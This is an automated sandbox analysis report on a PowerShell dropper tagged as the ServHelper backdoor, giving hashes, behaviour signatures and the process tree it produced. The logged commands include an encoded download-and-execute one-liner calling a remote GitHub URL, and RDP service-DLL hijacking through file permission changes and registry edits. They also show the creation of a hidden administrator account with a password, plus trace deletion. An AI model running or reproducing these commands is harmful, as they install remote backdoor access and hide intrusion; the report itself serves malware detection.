Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    135s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    13/03/2025, 11:30

General

  • Target

    edd23d9fccfb6d00bfe4c572f49e539e1a03a84ab985a84ec0d09ce8d85899fa.ps1

  • Size

    2.5MB

  • MD5

    54ea05f72d85e81abc662f81717b3a6e

  • SHA1

    10cc7c97b12808c6d0011d24a5213ce315b6ad0e

  • SHA256

    edd23d9fccfb6d00bfe4c572f49e539e1a03a84ab985a84ec0d09ce8d85899fa

  • SHA512

    2b9fee3fd73c357345d61b3a642031cf38a1f4723ee377e318bb14f1a47954a7c229dc26da793cd3d6ab1ab5f565ed85aab402ca2047a7fd0e1f705944558290

  • SSDEEP

    49152:cd8rheMFBvkc7Ti6PHckz0GepoCUnaw4Xmf7Em9sFqa:s

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Servhelper family
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 6 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

  • Blocklisted process makes network request 2 IoCs
  • Indicator Removal: Network Share Connection Removal 1 TTPs 3 IoCs

    Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\edd23d9fccfb6d00bfe4c572f49e539e1a03a84ab985a84ec0d09ce8d85899fa.ps1
    1⤵
    • Deletes itself
    • Drops file in System32 directory
    • Drops file in Windows directory
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2812
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2872
    • C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      PID:2836
    • C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      PID:2696
    • C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      • Suspicious use of AdjustPrivilegeToken
      PID:2900
    • C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      PID:2684
    • C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      PID:2984
    • C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      PID:1960
    • C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      PID:1248
    • C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      PID:532
    • C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      2⤵
        PID:1636
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
        2⤵
        • Server Software Component: Terminal Services DLL
        • Modifies registry key
        PID:264
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
        2⤵
          PID:2888
        • C:\Windows\system32\net.exe
          "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1148
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
            3⤵
              PID:1108
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1152
            • C:\Windows\system32\cmd.exe
              cmd /c net start rdpdr
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1660
              • C:\Windows\system32\net.exe
                net start rdpdr
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1760
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 start rdpdr
                  5⤵
                    PID:2636
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1028
              • C:\Windows\system32\cmd.exe
                cmd /c net start TermService
                3⤵
                  PID:2324
                  • C:\Windows\system32\net.exe
                    net start TermService
                    4⤵
                      PID:1796
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        5⤵
                          PID:2316
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    2⤵
                      PID:2756
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      2⤵
                        PID:2804
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc 000000 /del
                      1⤵
                      • Indicator Removal: Network Share Connection Removal
                      PID:2536
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc 000000 /del
                        2⤵
                        • Indicator Removal: Network Share Connection Removal
                        PID:1500
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                          3⤵
                          • Indicator Removal: Network Share Connection Removal
                          PID:2232
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc idhevtne /add
                      1⤵
                        PID:2108
                        • C:\Windows\system32\net.exe
                          net.exe user WgaUtilAcc idhevtne /add
                          2⤵
                            PID:1864
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 user WgaUtilAcc idhevtne /add
                              3⤵
                                PID:1044
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            1⤵
                            • Remote Service Session Hijacking: RDP Hijacking
                            PID:1240
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                              2⤵
                              • Remote Service Session Hijacking: RDP Hijacking
                              PID:404
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                3⤵
                                • Remote Service Session Hijacking: RDP Hijacking
                                PID:840
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Remote Desktop Users" JSMURNPT$ /ADD
                            1⤵
                            • Remote Service Session Hijacking: RDP Hijacking
                            PID:2576
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Remote Desktop Users" JSMURNPT$ /ADD
                              2⤵
                              • Remote Service Session Hijacking: RDP Hijacking
                              PID:556
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JSMURNPT$ /ADD
                                3⤵
                                • Remote Service Session Hijacking: RDP Hijacking
                                PID:2556
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                              PID:1316
                              • C:\Windows\system32\net.exe
                                net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                2⤵
                                  PID:2496
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                    3⤵
                                      PID:1216
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc idhevtne
                                  1⤵
                                    PID:288
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc idhevtne
                                      2⤵
                                        PID:1356
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc idhevtne
                                          3⤵
                                            PID:1732
                                      • C:\Windows\System32\cmd.exe
                                        cmd.exe /C wmic path win32_VideoController get name
                                        1⤵
                                          PID:2676
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic path win32_VideoController get name
                                            2⤵
                                            • Detects videocard installed
                                            • Modifies data under HKEY_USERS
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:1972
                                        • C:\Windows\System32\cmd.exe
                                          cmd.exe /C wmic CPU get NAME
                                          1⤵
                                            PID:2428
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic CPU get NAME
                                              2⤵
                                              • Modifies data under HKEY_USERS
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2132
                                          • C:\Windows\System32\cmd.exe
                                            cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            1⤵
                                              PID:1516
                                              • C:\Windows\system32\cmd.exe
                                                cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                2⤵
                                                  PID:544
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                    3⤵
                                                    • Blocklisted process makes network request
                                                    • Drops file in Windows directory
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • Modifies data under HKEY_USERS
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:1088

                                              Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                Filesize

                                                7KB

                                                MD5

                                                0fd62120c475431ba83d8c0d677a4803

                                                SHA1

                                                7fc296d47748b80954d597bbccad31d941c049ff

                                                SHA256

                                                6ed762a876b472b2e53300cec61d3fc254a63b99cd7cd7dbfa09d8c0c406c2ed

                                                SHA512

                                                759b56cd25000daa49f29d520a24909582f94671be20e2a6dc0dfa719e5ea1a539240d98fc8590cedd8ba0e833d2b1213305907db75ae02f8fb3664d24392017

                                              • C:\Windows\system32\rfxvmt.dll

                                                Filesize

                                                40KB

                                                MD5

                                                dc39d23e4c0e681fad7a3e1342a2843c

                                                SHA1

                                                58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                SHA256

                                                6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                SHA512

                                                5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                              • \Windows\Branding\mediasrv.png

                                                Filesize

                                                60KB

                                                MD5

                                                db8de11b906843e62188d170711bddc3

                                                SHA1

                                                427ed4be90b2117a702f9df67f2d7817ea919f79

                                                SHA256

                                                90e9f4ffdb2ab1ef150c4bc411da031c9479bd8675901fb9726a959701cb6e4e

                                                SHA512

                                                d4d1789ca1765df1a2c472a52f811c298ce3601658cf47a31ee3853dc0daef2964ed50101762c91c8525f5404adc86df718b531c67b0d7065566770fd5f77c45

                                              • \Windows\Branding\mediasvc.png

                                                Filesize

                                                743KB

                                                MD5

                                                1227375b9491eeda0d50854a3dc592a3

                                                SHA1

                                                7ea8a29f5eb2d0639170a2d6b60eb5c8d304ed13

                                                SHA256

                                                e67bfa2e36dc3e60ec7eedcc723a246ec4509abeb67c6a7961dcfe4f8405d317

                                                SHA512

                                                68f1528573d5e57b55c7f91012a8f7849b8ef77029192975d25c24fa22180da7c172b1260990ae205e8da8e7752d57b69e7a28a500d35b282d81b6faf45b29b8

                                              • memory/1804-37-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

                                                Filesize

                                                9.6MB

                                              • memory/1804-36-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

                                                Filesize

                                                9.6MB

                                              • memory/1804-10-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

                                                Filesize

                                                9.6MB

                                              • memory/1804-12-0x000000001B500000-0x000000001B532000-memory.dmp

                                                Filesize

                                                200KB

                                              • memory/1804-13-0x000000001B500000-0x000000001B532000-memory.dmp

                                                Filesize

                                                200KB

                                              • memory/1804-9-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

                                                Filesize

                                                9.6MB

                                              • memory/1804-59-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

                                                Filesize

                                                9.6MB

                                              • memory/1804-5-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

                                                Filesize

                                                2.9MB

                                              • memory/1804-32-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

                                                Filesize

                                                9.6MB

                                              • memory/1804-11-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

                                                Filesize

                                                9.6MB

                                              • memory/1804-35-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

                                                Filesize

                                                9.6MB

                                              • memory/1804-34-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

                                                Filesize

                                                9.6MB

                                              • memory/1804-33-0x000007FEF5DAE000-0x000007FEF5DAF000-memory.dmp

                                                Filesize

                                                4KB

                                              • memory/1804-4-0x000007FEF5DAE000-0x000007FEF5DAF000-memory.dmp

                                                Filesize

                                                4KB

                                              • memory/1804-8-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

                                                Filesize

                                                9.6MB

                                              • memory/1804-7-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

                                                Filesize

                                                9.6MB

                                              • memory/1804-6-0x0000000002790000-0x0000000002798000-memory.dmp

                                                Filesize

                                                32KB

                                              • memory/1964-20-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

                                                Filesize

                                                9.6MB

                                              • memory/1964-19-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

                                                Filesize

                                                9.6MB